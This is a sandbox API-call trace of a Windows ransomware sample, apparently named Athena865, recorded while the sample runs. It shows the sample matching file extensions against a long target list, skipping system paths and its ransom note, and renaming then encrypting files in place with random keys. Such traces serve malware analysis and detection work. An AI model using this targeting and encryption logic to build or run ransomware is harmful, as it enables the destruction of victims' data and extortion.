lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0092.166] lstrlenW (lpString="kdb") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0092.167] lstrlenW (lpString="kexi") returned 4 [0092.167] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0092.167] lstrlenW (lpString="kexic") returned 5 [0092.167] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0092.167] lstrlenW (lpString="kexis") returned 5 [0092.167] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0092.167] lstrlenW (lpString="lgc") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0092.168] lstrlenW (lpString="lwx") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0092.168] lstrlenW (lpString="maf") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0092.168] lstrlenW (lpString="maq") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0092.168] lstrlenW (lpString="mar") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0092.168] lstrlenW (lpString="marshal") returned 7 [0092.168] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0092.168] lstrlenW (lpString="mas") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0092.168] lstrlenW (lpString="mav") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0092.168] lstrlenW (lpString="maw") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0092.168] lstrlenW (lpString="mdbhtml") returned 7 [0092.168] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0092.168] lstrlenW (lpString="mdn") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0092.168] lstrlenW (lpString="mdt") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0092.168] lstrlenW (lpString="mfd") returned 3 [0092.168] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0092.169] lstrlenW (lpString="mpd") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0092.169] lstrlenW (lpString="mrg") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0092.169] lstrlenW (lpString="mud") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0092.169] lstrlenW (lpString="mwb") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0092.169] lstrlenW (lpString="myd") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0092.169] lstrlenW (lpString="ndf") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0092.169] lstrlenW (lpString="nnt") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0092.169] lstrlenW (lpString="nrmlib") returned 6 [0092.169] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0092.169] lstrlenW (lpString="ns2") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0092.169] lstrlenW (lpString="ns3") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0092.169] lstrlenW (lpString="ns4") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0092.169] lstrlenW (lpString="nsf") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0092.169] lstrlenW (lpString="nv") returned 2 [0092.169] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0092.169] lstrlenW (lpString="nv2") returned 3 [0092.169] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0092.169] lstrlenW (lpString="nwdb") returned 4 [0092.169] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0092.169] lstrlenW (lpString="nyf") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0092.170] lstrlenW (lpString="odb") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0092.170] lstrlenW (lpString="odb") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0092.170] lstrlenW (lpString="oqy") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0092.170] lstrlenW (lpString="ora") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0092.170] lstrlenW (lpString="orx") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0092.170] lstrlenW (lpString="owc") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0092.170] lstrlenW (lpString="p96") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0092.170] lstrlenW (lpString="p97") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0092.170] lstrlenW (lpString="pan") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0092.170] lstrlenW (lpString="pdb") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0092.170] lstrlenW (lpString="pdm") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0092.170] lstrlenW (lpString="pnz") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0092.170] lstrlenW (lpString="qry") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0092.170] lstrlenW (lpString="qvd") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0092.170] lstrlenW (lpString="rbf") returned 3 [0092.170] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0092.171] lstrlenW (lpString="rctd") returned 4 [0092.171] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0092.171] lstrlenW (lpString="rod") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0092.171] lstrlenW (lpString="rodx") returned 4 [0092.171] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0092.171] lstrlenW (lpString="rpd") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0092.171] lstrlenW (lpString="rsd") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0092.171] lstrlenW (lpString="sas7bdat") returned 8 [0092.171] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0092.171] lstrlenW (lpString="sbf") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0092.171] lstrlenW (lpString="scx") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0092.171] lstrlenW (lpString="sdb") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0092.171] lstrlenW (lpString="sdc") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0092.171] lstrlenW (lpString="sdf") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0092.171] lstrlenW (lpString="sis") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0092.171] lstrlenW (lpString="spq") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0092.171] lstrlenW (lpString="te") returned 2 [0092.171] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0092.171] lstrlenW (lpString="teacher") returned 7 [0092.171] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0092.171] lstrlenW (lpString="tmd") returned 3 [0092.171] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0092.172] lstrlenW (lpString="tps") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0092.172] lstrlenW (lpString="trc") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0092.172] lstrlenW (lpString="trc") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0092.172] lstrlenW (lpString="trm") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0092.172] lstrlenW (lpString="udb") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0092.172] lstrlenW (lpString="udl") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0092.172] lstrlenW (lpString="usr") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0092.172] lstrlenW (lpString="v12") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0092.172] lstrlenW (lpString="vis") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0092.172] lstrlenW (lpString="vpd") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0092.172] lstrlenW (lpString="vvv") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0092.172] lstrlenW (lpString="wdb") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0092.172] lstrlenW (lpString="wmdb") returned 4 [0092.172] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0092.172] lstrlenW (lpString="wrk") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0092.172] lstrlenW (lpString="xdb") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0092.172] lstrlenW (lpString="xld") returned 3 [0092.172] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0092.173] lstrlenW (lpString="xmlff") returned 5 [0092.173] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0092.173] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui.Athena865") returned 63 [0092.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui" (normalized: "c:\\program files\\windows sidebar\\en-us\\sbdrop.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui.Athena865" (normalized: "c:\\program files\\windows sidebar\\en-us\\sbdrop.dll.mui.athena865"), dwFlags=0x1) returned 1 [0092.173] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui.Athena865" (normalized: "c:\\program files\\windows sidebar\\en-us\\sbdrop.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.174] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0092.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0092.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0092.174] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0092.175] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.175] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.175] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0092.178] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0092.179] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.180] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.180] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.181] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.181] CloseHandle (hObject=0x154) returned 1 [0092.181] CloseHandle (hObject=0x17c) returned 1 [0092.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0092.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.181] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="windows") returned -1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="bootmgr") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="temp") returned -1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="pagefile.sys") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="boot") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="ids.txt") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="ntuser.dat") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="perflogs") returned 1 [0092.181] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="MSBuild") returned 1 [0092.182] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0092.182] lstrcpyW (in: lpString1=0x241e896, lpString2="Sidebar.exe.mui" | out: lpString1="Sidebar.exe.mui") returned="Sidebar.exe.mui" [0092.182] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0092.182] lstrlenW (lpString="Athena865") returned 9 [0092.182] lstrcmpiW (lpString1="r.exe.mui", lpString2="Athena865") returned 1 [0092.182] lstrlenW (lpString=".dll") returned 4 [0092.182] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".dll") returned 1 [0092.182] lstrlenW (lpString=".lnk") returned 4 [0092.182] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".lnk") returned 1 [0092.182] lstrlenW (lpString=".ini") returned 4 [0092.182] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".ini") returned 1 [0092.182] lstrlenW (lpString=".sys") returned 4 [0092.182] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".sys") returned 1 [0092.182] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0092.182] lstrlenW (lpString="bak") returned 3 [0092.182] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0092.182] lstrlenW (lpString="ba_") returned 3 [0092.182] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0092.182] lstrlenW (lpString="dbb") returned 3 [0092.182] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0092.182] lstrlenW (lpString="vmdk") returned 4 [0092.182] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0092.182] lstrlenW (lpString="rar") returned 3 [0092.182] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0092.182] lstrlenW (lpString="zip") returned 3 [0092.182] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0092.182] lstrlenW (lpString="tgz") returned 3 [0092.182] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0092.182] lstrlenW (lpString="vbox") returned 4 [0092.182] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0092.182] lstrlenW (lpString="vdi") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0092.183] lstrlenW (lpString="vhd") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0092.183] lstrlenW (lpString="vhdx") returned 4 [0092.183] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0092.183] lstrlenW (lpString="avhd") returned 4 [0092.183] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0092.183] lstrlenW (lpString="db") returned 2 [0092.183] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0092.183] lstrlenW (lpString="db2") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0092.183] lstrlenW (lpString="db3") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0092.183] lstrlenW (lpString="dbf") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0092.183] lstrlenW (lpString="mdf") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0092.183] lstrlenW (lpString="mdb") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0092.183] lstrlenW (lpString="sql") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0092.183] lstrlenW (lpString="sqlite") returned 6 [0092.183] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0092.183] lstrlenW (lpString="sqlite3") returned 7 [0092.183] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0092.183] lstrlenW (lpString="sqlitedb") returned 8 [0092.183] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0092.183] lstrlenW (lpString="xml") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0092.183] lstrlenW (lpString="$er") returned 3 [0092.183] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0092.183] lstrlenW (lpString="4dd") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0092.184] lstrlenW (lpString="4dl") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0092.184] lstrlenW (lpString="^^^") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0092.184] lstrlenW (lpString="abs") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0092.184] lstrlenW (lpString="abx") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0092.184] lstrlenW (lpString="accdb") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0092.184] lstrlenW (lpString="accdc") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0092.184] lstrlenW (lpString="accde") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0092.184] lstrlenW (lpString="accdr") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0092.184] lstrlenW (lpString="accdt") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0092.184] lstrlenW (lpString="accdw") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0092.184] lstrlenW (lpString="accft") returned 5 [0092.184] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0092.184] lstrlenW (lpString="adb") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.184] lstrlenW (lpString="adb") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.184] lstrlenW (lpString="ade") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0092.184] lstrlenW (lpString="adf") returned 3 [0092.184] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0092.184] lstrlenW (lpString="adn") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0092.185] lstrlenW (lpString="adp") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0092.185] lstrlenW (lpString="alf") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0092.185] lstrlenW (lpString="ask") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0092.185] lstrlenW (lpString="btr") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0092.185] lstrlenW (lpString="cat") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0092.185] lstrlenW (lpString="cdb") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0092.185] lstrlenW (lpString="ckp") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0092.185] lstrlenW (lpString="cma") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0092.185] lstrlenW (lpString="cpd") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0092.185] lstrlenW (lpString="dacpac") returned 6 [0092.185] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0092.185] lstrlenW (lpString="dad") returned 3 [0092.185] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0092.185] lstrlenW (lpString="dadiagrams") returned 10 [0092.185] lstrcmpiW (lpString1="ar.exe.mui", lpString2="dadiagrams") returned -1 [0092.185] lstrlenW (lpString="daschema") returned 8 [0092.185] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0092.185] lstrlenW (lpString="db-journal") returned 10 [0092.185] lstrcmpiW (lpString1="ar.exe.mui", lpString2="db-journal") returned -1 [0092.185] lstrlenW (lpString="db-shm") returned 6 [0092.185] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0092.185] lstrlenW (lpString="db-wal") returned 6 [0092.186] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0092.186] lstrlenW (lpString="dbc") returned 3 [0092.186] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0092.186] lstrlenW (lpString="dbs") returned 3 [0092.186] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0092.186] lstrlenW (lpString="dbt") returned 3 [0092.186] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0092.186] lstrlenW (lpString="dbv") returned 3 [0092.186] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0092.186] lstrlenW (lpString="dbx") returned 3 [0092.186] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0092.186] lstrlenW (lpString="dcb") returned 3 [0092.186] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0092.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui.Athena865") returned 64 [0092.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui" (normalized: "c:\\program files\\windows sidebar\\en-us\\sidebar.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui.Athena865" (normalized: "c:\\program files\\windows sidebar\\en-us\\sidebar.exe.mui.athena865"), dwFlags=0x1) returned 1 [0092.189] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui.Athena865" (normalized: "c:\\program files\\windows sidebar\\en-us\\sidebar.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.189] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18944) returned 1 [0092.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0092.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0092.189] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0092.190] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.190] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.190] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d00, lpName=0x0) returned 0x154 [0092.193] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d00) returned 0x100000 [0092.194] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.195] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.195] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.196] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.196] CloseHandle (hObject=0x154) returned 1 [0092.196] CloseHandle (hObject=0x17c) returned 1 [0092.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | 